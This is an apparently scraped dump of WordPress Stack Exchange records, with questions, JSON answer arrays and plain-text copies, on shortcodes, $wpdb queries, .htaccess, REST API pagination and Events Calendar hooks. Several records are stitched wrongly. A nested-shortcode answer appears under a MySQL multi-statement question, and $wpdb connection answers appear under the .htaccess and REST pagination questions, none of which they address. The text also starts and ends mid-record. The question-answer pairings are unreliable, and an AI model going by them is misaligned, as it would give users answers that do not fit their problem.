``` Script.js ``` var owl8 = $( ".slider-ranking" ); owl8.owlCarousel({ items: 1, loop: true, nav:true, animateOut: 'fadeOut', navText:['<i class="fa fa-angle-left"></i>', '<i class="fa fa-angle-right"></i>'], dots: false, //autoplay:true, autoplayTimeout:4000, autoplayHoverPause:true }); $('.customNextBtn4').click(function() { owl8.trigger('next.owl.carousel', [300]); }); $('.customPrevBtn4').click(function() { owl8.trigger('prev.owl.carousel', [300]); }); owl8.on('changed.owl.carousel', function(e) { var current = e.item.index; var currSl2 = $(e.target).find(".owl-item").eq(current).find(".rankig-one h3").html(); $(".s-raking .title-bar span").html(currSl2); var currSl3 = $(e.target).find(".owl-item").eq(current).find(".rankig-one").attr('data-title'); $(".s-raking .title-bar").attr('data-ranking', currSl3); ranking(); }); /*for first load*/ function ranking() { $(".filters-ranking .players-results").mCustomScrollbar("destroy"); var position = $(".filters-select option:selected").val(); var ranking = $('.s-raking .title-bar').attr('data-ranking'); var search = $('.quicksearch').attr('data-search'); var state = $('.players-state').attr('data-state'); $.ajax({ url : ajaxurl, type: 'post', data : { action : 'playersmain', position: position, ranking: ranking, search: search, state: state }, success : function( response ) { $("#ajax-content").html(response); $(".filters-ranking .players-results").mCustomScrollbar({ scrollButtons:{enable:true} }); } }); $.ajax({ url : ajaxurl, type: 'post', data : { // action : 'playersmain', action : 'players_lpm', position: position, ranking: ranking, search: search, state: state }, success : function( response ) { $(".ajax-content2").html(response); } }); } ranking(); ``` The front-page.php data from above is still the same. Again, Thank you Mehar for getting me closer to solving this dilema. P.D. Here is the messed up version image so far. [![enter image description here](https://i.stack.imgur.com/PwjAq.png)](https://i.stack.imgur.com/PwjAq.png)
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,593
<p>Let me first start with; I'm far from a programmer, but I'm getting into it a bit.</p> <p>Currently I managed to make this loop for a CPT called 'studentensteden'. Now I would love to make it into a shortcode, so I can display this throughout the site if needed.</p> <p>How would I do this?</p> <p>I pasted the code here: <a href="https://pastebin.com/SR4R2UNN" rel="nofollow noreferrer">https://pastebin.com/SR4R2UNN</a></p> <p>Pasting the code in this textbox didn't show it properly (even with the 'code').</p>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348593", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175332/" ]
Let me first start with; I'm far from a programmer, but I'm getting into it a bit. Currently I managed to make this loop for a CPT called 'studentensteden'. Now I would love to make it into a shortcode, so I can display this throughout the site if needed. How would I do this? I pasted the code here: <https://pastebin.com/SR4R2UNN> Pasting the code in this textbox didn't show it properly (even with the 'code').
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,607
<p>I have this MySQL query, which <strong>do</strong> work in PHPMyAdmin:</p> <pre><code>set @ROW = 0;UPDATE `wp_wpsstm_subtracks` SET `subtrack_order` = @ROW := @ROW+1 WHERE tracklist_id='176226' ORDER BY `subtrack_time` ASC </code></pre> <p>I would like to use it within Wordpress:</p> <pre><code> $querystr = $wpdb-&gt;prepare("set @ROW = 0;UPDATE `$subtracks_table` SET `subtrack_order` = @ROW := @ROW+1 WHERE tracklist_id='%d' ORDER BY `subtrack_time` ASC", $this-&gt;post_id ); return $wpdb-&gt;query($querystr); </code></pre> <p>But it fires a syntax error:</p> <blockquote> <p>WordPress database error Erreur de syntaxe près de 'UPDATE <code>wp_wpsstm_subtracks</code> SET <code>subtrack_order</code> = @ROW := @ROW+1 WHERE trackli' à la ligne 1 for query set @ROW = 0;UPDATE <code>wp_wpsstm_subtracks</code> SET <code>subtrack_order</code> = @ROW := @ROW+1 WHERE tracklist_id='176226' ORDER BY <code>subtrack_time</code> ASC</p> </blockquote> <p>How can I make this work ?</p> <p>Thanks !</p>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348607", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/70449/" ]
I have this MySQL query, which **do** work in PHPMyAdmin: ``` set @ROW = 0;UPDATE `wp_wpsstm_subtracks` SET `subtrack_order` = @ROW := @ROW+1 WHERE tracklist_id='176226' ORDER BY `subtrack_time` ASC ``` I would like to use it within Wordpress: ``` $querystr = $wpdb->prepare("set @ROW = 0;UPDATE `$subtracks_table` SET `subtrack_order` = @ROW := @ROW+1 WHERE tracklist_id='%d' ORDER BY `subtrack_time` ASC", $this->post_id ); return $wpdb->query($querystr); ``` But it fires a syntax error: > > WordPress database error Erreur de syntaxe près de 'UPDATE > `wp_wpsstm_subtracks` SET `subtrack_order` = @ROW := @ROW+1 WHERE > trackli' à la ligne 1 for query set @ROW = 0;UPDATE > `wp_wpsstm_subtracks` SET `subtrack_order` = @ROW := @ROW+1 WHERE > tracklist\_id='176226' ORDER BY `subtrack_time` ASC > > > How can I make this work ? Thanks !
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,609
<p>I have created a table in my WordPress database. Now, WordPress gets all its data about different posts and pages from the database. This means that WordPress always connects to database automatically without theme developers writing any code.</p> <p>I want to get information from a table I added to the database inside the <code>header.php</code> file of my theme. My question is do I need to create a WordPress database connection by loading all the files like</p> <pre><code>require_once(__DIR__."/../wp-load.php"); require_once(__DIR__."/../wp-config.php"); $connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); </code></pre> <p>Or I can use the existing database connection. If I can use the existing database connection, how do I do that?</p> <p>Thanks.</p>
[ { "answer_id": 348612, "author": "Lee", "author_id": 47505, "author_profile": "https://wordpress.stackexchange.com/users/47505", "pm_score": 0, "selected": false, "text": "<p>If you want to make calls to tables inside your Wordpress installation, you should always use the <code>$wpdb</code> class.</p>\n\n<p><a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/wpdb</a></p>\n\n<p>This link shows some good examples of how to run queries to get data from tables within your Wordpress installation.</p>\n" }, { "answer_id": 348613, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>You can (and should) use the existing database connection by accessing <code>global $wpdb</code>. The simplest way to use it is with the <code>get_results()</code> method:</p>\n\n<pre><code>global $wpdb;\n$results = $wpdb-&gt;get_results( 'SELECT * FROM my_table' );\n</code></pre>\n\n<p>There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). <a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">An overview</a> for all this is available in the Codex, and you'll find many helpful guides if you search Google for \"wpdb\".</p>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348609", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/161352/" ]
I have created a table in my WordPress database. Now, WordPress gets all its data about different posts and pages from the database. This means that WordPress always connects to database automatically without theme developers writing any code. I want to get information from a table I added to the database inside the `header.php` file of my theme. My question is do I need to create a WordPress database connection by loading all the files like ``` require_once(__DIR__."/../wp-load.php"); require_once(__DIR__."/../wp-config.php"); $connection = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); ``` Or I can use the existing database connection. If I can use the existing database connection, how do I do that? Thanks.
You can (and should) use the existing database connection by accessing `global $wpdb`. The simplest way to use it is with the `get_results()` method: ``` global $wpdb; $results = $wpdb->get_results( 'SELECT * FROM my_table' ); ``` There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). [An overview](https://codex.wordpress.org/Class_Reference/wpdb) for all this is available in the Codex, and you'll find many helpful guides if you search Google for "wpdb".
348,621
<p>This is occuring on my local machine, Lubuntu 18.04 with apache2 and Php 7.2.15.</p> <p>Steps tried:</p> <ol> <li>Enable hidden files</li> </ol> <p>No .htaccess file seen:</p> <p><a href="https://nimb.ws/4YJfDT" rel="nofollow noreferrer">https://nimb.ws/4YJfDT</a></p> <ol start="2"> <li>Switch permalink structure to attempt to force Wordpress to create new .htaccess file (if missing). Reload file manager.</li> </ol> <p>No change.</p> <p><a href="https://nimb.ws/eVkKb3" rel="nofollow noreferrer">https://nimb.ws/eVkKb3</a></p> <ol start="3"> <li>run terminal command <code>whereis .htaccess</code></li> </ol> <p>Many folders listed but none in the target ( /var/www/html/wptest2/ ). There is nothing even inside <code>/var</code> below:</p> <pre><code>owner@G700:~$ whereis .htaccess : /usr/bin/. /usr/sbin/. /lib/x86_64-linux-gnu/. /usr/lib/x86_64-linux-gnu/. /usr/lib/. /bin/. /sbin/. /etc/. /etc/.java /lib/. /lib64/. /usr/games/. /usr/local/bin/. /usr/local/sbin/. /usr/local/etc/. /usr/local/lib/. /usr/local/games/. /usr/include/. /usr/local/. /usr/libexec/. /usr/share/. /opt/emby-server/bin/. /opt/dmmediaconverter/bin/. /opt/wine-stable/bin/. /opt/calibre/bin/. /home/owner/.nvm/versions/node/v12.4.0/bin/. /home/owner/.local/bin/. /snap/bin/. /usr/share/man/man4/. /usr/share/man/fi/. /usr/share/man/pl/. /usr/share/man/id/. /usr/share/man/pt_BR/. /usr/share/man/man6/. /usr/share/man/ja/. /usr/share/man/hr/. /usr/share/man/sv/. /usr/share/man/hu/. /usr/share/man/man1/. /usr/share/man/fr.ISO8859-1/. /usr/share/man/zh_CN/. /usr/share/man/man5/. /usr/share/man/zh_TW/. /usr/share/man/man8/. /usr/share/man/ca/. /usr/share/man/man3/. /usr/share/man/es/. /usr/share/man/nl/. /usr/share/man/da/. /usr/share/man/it/. /usr/share/man/uk/. /usr/share/man/ko/. /usr/share/man/fr.UTF-8/. /usr/share/man/sl/. /usr/share/man/man2/. /usr/share/man/pt/. /usr/share/man/de/. /usr/share/man/de.UTF-8/. /usr/share/man/cs/. /usr/share/man/sr/. /usr/share/man/man7/. /usr/share/man/fr/. /usr/share/man/pl.UTF-8/. /usr/share/man/vi/. /usr/share/man/ru/. /usr/share/man/tr/. /usr/share/info/. /usr/src/bcmwl- 6.30.223.271+bdcom/. /usr/src/linux-headers-4.15.0-58- generic/.tmp_versions /usr/src/linux-headers-4.15.0-58-generic/.config /usr/src/linux-headers-4.15.0-58-generic/. /usr/src/linux-headers-4.15.0- 58/. /usr/src/linux-headers-4.15.0-62-generic/.tmp_versions /usr/src/linux-headers-4.15.0-62-generic/.config /usr/src/linux-headers- 4.15.0-62-generic/. /usr/src/linux-headers-4.15.0-62/. </code></pre> <p>Any ideas what's going on here? The wordpress install fully works. I can access the back end, create posts and pages, navigate across the front end including clicking on links to new pages etc. I have developing a plugin on this side for months. But the .htaccess file seems not to exist.</p> <p>If someone advises me to simply manually create an .htaccess file my followup question becomes, how can I verify that wordpress uses it? I need this file to enter some rules mandated by a JWT/Rest Api plugin.</p> <p><strong>Update</strong></p> <p>I added the following .htaccess file code to a fresh file at <code>/var/www/html/wptest2/</code></p> <p><a href="https://wordpress.org/support/article/htaccess/" rel="nofollow noreferrer">https://wordpress.org/support/article/htaccess/</a></p> <pre><code>iersn // meant to causing a breaking change. But doesn't # BEGIN WordPress RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress </code></pre> <p>Wordpress does not break from the line above. </p> <p>That said my install has always been on ugly links as pretty links cause not-found errors. I believe I don't have that properly setup and I'm sure this .htaccess issue is a contributor.</p>
[ { "answer_id": 348612, "author": "Lee", "author_id": 47505, "author_profile": "https://wordpress.stackexchange.com/users/47505", "pm_score": 0, "selected": false, "text": "<p>If you want to make calls to tables inside your Wordpress installation, you should always use the <code>$wpdb</code> class.</p>\n\n<p><a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/wpdb</a></p>\n\n<p>This link shows some good examples of how to run queries to get data from tables within your Wordpress installation.</p>\n" }, { "answer_id": 348613, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>You can (and should) use the existing database connection by accessing <code>global $wpdb</code>. The simplest way to use it is with the <code>get_results()</code> method:</p>\n\n<pre><code>global $wpdb;\n$results = $wpdb-&gt;get_results( 'SELECT * FROM my_table' );\n</code></pre>\n\n<p>There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). <a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">An overview</a> for all this is available in the Codex, and you'll find many helpful guides if you search Google for \"wpdb\".</p>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348621", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/165037/" ]
This is occuring on my local machine, Lubuntu 18.04 with apache2 and Php 7.2.15. Steps tried: 1. Enable hidden files No .htaccess file seen: <https://nimb.ws/4YJfDT> 2. Switch permalink structure to attempt to force Wordpress to create new .htaccess file (if missing). Reload file manager. No change. <https://nimb.ws/eVkKb3> 3. run terminal command `whereis .htaccess` Many folders listed but none in the target ( /var/www/html/wptest2/ ). There is nothing even inside `/var` below: ``` owner@G700:~$ whereis .htaccess : /usr/bin/. /usr/sbin/. /lib/x86_64-linux-gnu/. /usr/lib/x86_64-linux-gnu/. /usr/lib/. /bin/. /sbin/. /etc/. /etc/.java /lib/. /lib64/. /usr/games/. /usr/local/bin/. /usr/local/sbin/. /usr/local/etc/. /usr/local/lib/. /usr/local/games/. /usr/include/. /usr/local/. /usr/libexec/. /usr/share/. /opt/emby-server/bin/. /opt/dmmediaconverter/bin/. /opt/wine-stable/bin/. /opt/calibre/bin/. /home/owner/.nvm/versions/node/v12.4.0/bin/. /home/owner/.local/bin/. /snap/bin/. /usr/share/man/man4/. /usr/share/man/fi/. /usr/share/man/pl/. /usr/share/man/id/. /usr/share/man/pt_BR/. /usr/share/man/man6/. /usr/share/man/ja/. /usr/share/man/hr/. /usr/share/man/sv/. /usr/share/man/hu/. /usr/share/man/man1/. /usr/share/man/fr.ISO8859-1/. /usr/share/man/zh_CN/. /usr/share/man/man5/. /usr/share/man/zh_TW/. /usr/share/man/man8/. /usr/share/man/ca/. /usr/share/man/man3/. /usr/share/man/es/. /usr/share/man/nl/. /usr/share/man/da/. /usr/share/man/it/. /usr/share/man/uk/. /usr/share/man/ko/. /usr/share/man/fr.UTF-8/. /usr/share/man/sl/. /usr/share/man/man2/. /usr/share/man/pt/. /usr/share/man/de/. /usr/share/man/de.UTF-8/. /usr/share/man/cs/. /usr/share/man/sr/. /usr/share/man/man7/. /usr/share/man/fr/. /usr/share/man/pl.UTF-8/. /usr/share/man/vi/. /usr/share/man/ru/. /usr/share/man/tr/. /usr/share/info/. /usr/src/bcmwl- 6.30.223.271+bdcom/. /usr/src/linux-headers-4.15.0-58- generic/.tmp_versions /usr/src/linux-headers-4.15.0-58-generic/.config /usr/src/linux-headers-4.15.0-58-generic/. /usr/src/linux-headers-4.15.0- 58/. /usr/src/linux-headers-4.15.0-62-generic/.tmp_versions /usr/src/linux-headers-4.15.0-62-generic/.config /usr/src/linux-headers- 4.15.0-62-generic/. /usr/src/linux-headers-4.15.0-62/. ``` Any ideas what's going on here? The wordpress install fully works. I can access the back end, create posts and pages, navigate across the front end including clicking on links to new pages etc. I have developing a plugin on this side for months. But the .htaccess file seems not to exist. If someone advises me to simply manually create an .htaccess file my followup question becomes, how can I verify that wordpress uses it? I need this file to enter some rules mandated by a JWT/Rest Api plugin. **Update** I added the following .htaccess file code to a fresh file at `/var/www/html/wptest2/` <https://wordpress.org/support/article/htaccess/> ``` iersn // meant to causing a breaking change. But doesn't # BEGIN WordPress RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # END WordPress ``` Wordpress does not break from the line above. That said my install has always been on ugly links as pretty links cause not-found errors. I believe I don't have that properly setup and I'm sure this .htaccess issue is a contributor.
You can (and should) use the existing database connection by accessing `global $wpdb`. The simplest way to use it is with the `get_results()` method: ``` global $wpdb; $results = $wpdb->get_results( 'SELECT * FROM my_table' ); ``` There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). [An overview](https://codex.wordpress.org/Class_Reference/wpdb) for all this is available in the Codex, and you'll find many helpful guides if you search Google for "wpdb".
348,634
<p>I have CPT transcript in wordpress website. And create 250 post in CPT transcript.</p> <p>Now, I want to fetch all transcript data and want to store in another database using rest api url <strong><a href="http://example.com/wp-json/wp/v2/transcript/" rel="nofollow noreferrer">http://example.com/wp-json/wp/v2/transcript/</a></strong> </p> <p>AND</p> <p>HTTP request using CURL</p> <pre><code>$ch = curl_init(); $url = 'http://example.com/wp-json/wp/v2/transcript/'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); return curl_exec($ch); curl_close($ch); </code></pre> <p>But this return only 10 transcript,</p> <p>Please help me, how to retrieve all transcript post data.</p>
[ { "answer_id": 348612, "author": "Lee", "author_id": 47505, "author_profile": "https://wordpress.stackexchange.com/users/47505", "pm_score": 0, "selected": false, "text": "<p>If you want to make calls to tables inside your Wordpress installation, you should always use the <code>$wpdb</code> class.</p>\n\n<p><a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Class_Reference/wpdb</a></p>\n\n<p>This link shows some good examples of how to run queries to get data from tables within your Wordpress installation.</p>\n" }, { "answer_id": 348613, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 2, "selected": true, "text": "<p>You can (and should) use the existing database connection by accessing <code>global $wpdb</code>. The simplest way to use it is with the <code>get_results()</code> method:</p>\n\n<pre><code>global $wpdb;\n$results = $wpdb-&gt;get_results( 'SELECT * FROM my_table' );\n</code></pre>\n\n<p>There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). <a href=\"https://codex.wordpress.org/Class_Reference/wpdb\" rel=\"nofollow noreferrer\">An overview</a> for all this is available in the Codex, and you'll find many helpful guides if you search Google for \"wpdb\".</p>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348634", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175388/" ]
I have CPT transcript in wordpress website. And create 250 post in CPT transcript. Now, I want to fetch all transcript data and want to store in another database using rest api url **<http://example.com/wp-json/wp/v2/transcript/>** AND HTTP request using CURL ``` $ch = curl_init(); $url = 'http://example.com/wp-json/wp/v2/transcript/'; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); return curl_exec($ch); curl_close($ch); ``` But this return only 10 transcript, Please help me, how to retrieve all transcript post data.
You can (and should) use the existing database connection by accessing `global $wpdb`. The simplest way to use it is with the `get_results()` method: ``` global $wpdb; $results = $wpdb->get_results( 'SELECT * FROM my_table' ); ``` There's other methods available, and things you need to consider like preparing queries and using the correct table prefix (if your table has one). [An overview](https://codex.wordpress.org/Class_Reference/wpdb) for all this is available in the Codex, and you'll find many helpful guides if you search Google for "wpdb".
348,671
<p>Intro: I'm using a weird plugin called The Events Calendar which vastly operates outside of WP functions. For example, I cannot retrieve custom fields with the WP function.</p> <p>So essentially, my problem is that I need to update a different post type from the custom content posted in an Events Calendar CPT but I can only retrieve it, after the post has fully been saved, not on "save_post" action hook because there is no post meta information at that moment. </p> <p>So here is my question: </p> <p>Is there any possibility to introduce an update in post immediately after the save post action? Which options are best recommended</p> <p>One idea I have is to use another save_post action with less priority that the former that introduces the update function. But not sure if this the post optimal mechanism.</p> <p>BTW in case anyone has already dealt with The Events Calendar and has a shortcut, what I actually need to do, is, when an Event from The Events Calendar is saved I need to store the event start date in a different CPT.</p>
[ { "answer_id": 348673, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>The Events Calendar stores the start and end dates as metadata. The keys are <code>_EventStartDate</code> and <code>_EventEndDate</code>.</p>\n\n<p>You can hook into this using the <a href=\"https://developer.wordpress.org/reference/hooks/updated_postmeta/\" rel=\"nofollow noreferrer\"><code>updated_postmeta</code></a> action hook:</p>\n\n<pre><code>add_action( 'updated_postmeta', 'wpse348671_updated_meta', 10, 4 );\nfunction wpse348671_updated_meta( $meta_id, $object_id, $meta_key, $meta_value ) {\n if ( '_EventStartDate' == $meta_key ) {\n // Create your 2nd post here.\n //The event start date is stored in the variable $meta_value.\n }\n}\n</code></pre>\n\n<p>This code is untested.</p>\n" }, { "answer_id": 348938, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": true, "text": "<p>Modern Tribe has presented several articles to address issues like yours.</p>\n\n<p>Please take a look at their article \"<a href=\"https://theeventscalendar.com/tips-working-wordpress-actions-filters/\" rel=\"nofollow noreferrer\">Tips for Working With WordPress Actions and Filters</a>\" to see if you can track down the <code>do_action()</code> or <code>apply_filters()</code> statement that occurs after a post save or publish event.</p>\n\n<p>I believe you may want <code>add_action('tribe_events_update_meta','wpse_your_function', 10,3)</code>, found in <code>/src/Tribe/API.php</code>. Below is their documentation for this one:</p>\n\n<pre><code>/**\n * Allow hooking in after all event meta has been saved.\n *\n * @param int $event_id The event ID we are modifying meta for.\n * @param array $data The meta fields we want saved.\n * @param WP_Post $event The event itself.\n *\n * @since 4.6\n */\ndo_action( 'tribe_events_update_meta', $event_id, $data, $event );\n</code></pre>\n\n<p>You should check it out.</p>\n\n<p>If that works out, your code would be a modified version of what Pat J recommended:</p>\n\n<pre><code>add_action( 'tribe_events_update_meta', 'wpse348671_updated_meta', 10, 3 );\nfunction wpse348671_updated_meta( $event_id, $data, $event ) { \n // Update/create your 2nd post here.\n //The event start date should be stored in $data['EventStartDate']. \n\n // this should work too.\n $start = get_post_meta( $event_id, '_EventStartDate', true )\n}\n</code></pre>\n" } ]
2019/09/19
[ "https://wordpress.stackexchange.com/questions/348671", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/157160/" ]
Intro: I'm using a weird plugin called The Events Calendar which vastly operates outside of WP functions. For example, I cannot retrieve custom fields with the WP function. So essentially, my problem is that I need to update a different post type from the custom content posted in an Events Calendar CPT but I can only retrieve it, after the post has fully been saved, not on "save\_post" action hook because there is no post meta information at that moment. So here is my question: Is there any possibility to introduce an update in post immediately after the save post action? Which options are best recommended One idea I have is to use another save\_post action with less priority that the former that introduces the update function. But not sure if this the post optimal mechanism. BTW in case anyone has already dealt with The Events Calendar and has a shortcut, what I actually need to do, is, when an Event from The Events Calendar is saved I need to store the event start date in a different CPT.
Modern Tribe has presented several articles to address issues like yours. Please take a look at their article "[Tips for Working With WordPress Actions and Filters](https://theeventscalendar.com/tips-working-wordpress-actions-filters/)" to see if you can track down the `do_action()` or `apply_filters()` statement that occurs after a post save or publish event. I believe you may want `add_action('tribe_events_update_meta','wpse_your_function', 10,3)`, found in `/src/Tribe/API.php`. Below is their documentation for this one: ``` /** * Allow hooking in after all event meta has been saved. * * @param int $event_id The event ID we are modifying meta for. * @param array $data The meta fields we want saved. * @param WP_Post $event The event itself. * * @since 4.6 */ do_action( 'tribe_events_update_meta', $event_id, $data, $event ); ``` You should check it out. If that works out, your code would be a modified version of what Pat J recommended: ``` add_action( 'tribe_events_update_meta', 'wpse348671_updated_meta', 10, 3 ); function wpse348671_updated_meta( $event_id, $data, $event ) { // Update/create your 2nd post here. //The event start date should be stored in $data['EventStartDate']. // this should work too. $start = get_post_meta( $event_id, '_EventStartDate', true ) } ```
348,791
<p>My client wants to have the ability to call up a common category used in multiple custom post types. So if there is a common category of "budget", then a blog listing would come up with all the custom post types that have a category of "budget".</p> <p>I read up on a few examples here of using args for different post types, and pieced them together on a custom template called "page-category-budgeting.php". This is in a child theme based on Twenty-twelve.</p> <p>After testing and working through some debugging, I'm still without success. The latest error is "Parse error: syntax error, unexpected end of file in /home/acs10047/public_html/wp-content/themes/moneysmartfamily/page-category-budgeting.php on line 53"</p> <p>But that is a blank line at the end of the code. I have nothing to go with to figure this out. Here is the template code. I must be missing something simple or overlooking how this should be set up. Could someone advise me as to what I'm missing? Thanks.</p> <pre><code>&lt;?php /** * Template Name: Category - Budgeting * * * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the WordPress construct of pages * and that other 'pages' on your WordPress site will use a * different template. * * @package WordPress * @subpackage Twenty_Twelve * @since Twenty Twelve 1.0 */ get_header(); $args = array('post_type' =&gt; array('post','media-appearance','members-archive','money-saving-tips','review'), 'posts_per_page' =&gt; '20', ); $this_query = new WP_Query( $args ); ?&gt; &lt;div id="primary" class="site-content"&gt; &lt;div id="content" role="main"&gt; &lt;?php while ( $this_query-&gt;have_posts()) : $this_query-&gt;the_post(); {?&gt; &lt;?php if( has_post_thumbnail() &amp;&amp; ($cat == 'budget') ): ?&gt; &lt;div class="tip-excerpt"&gt; &lt;h1 class="entry-title"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;" rel="bookmark"&gt;&lt;?php the_title(); ?&gt;&lt;/a&gt; &lt;/h1&gt; &lt;div class="entry-content"&gt; &lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php the_post_thumbnail('thumbnail', array('class' =&gt; 'alignleft')); ?&gt;&lt;/a&gt;&lt;?php the_excerpt(); ?&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php endif; ?&gt; &lt;?php wp_reset_query(); ?&gt; &lt;?php // done the foreach statement ?&gt; &lt;/div&gt;&lt;!-- #content --&gt; 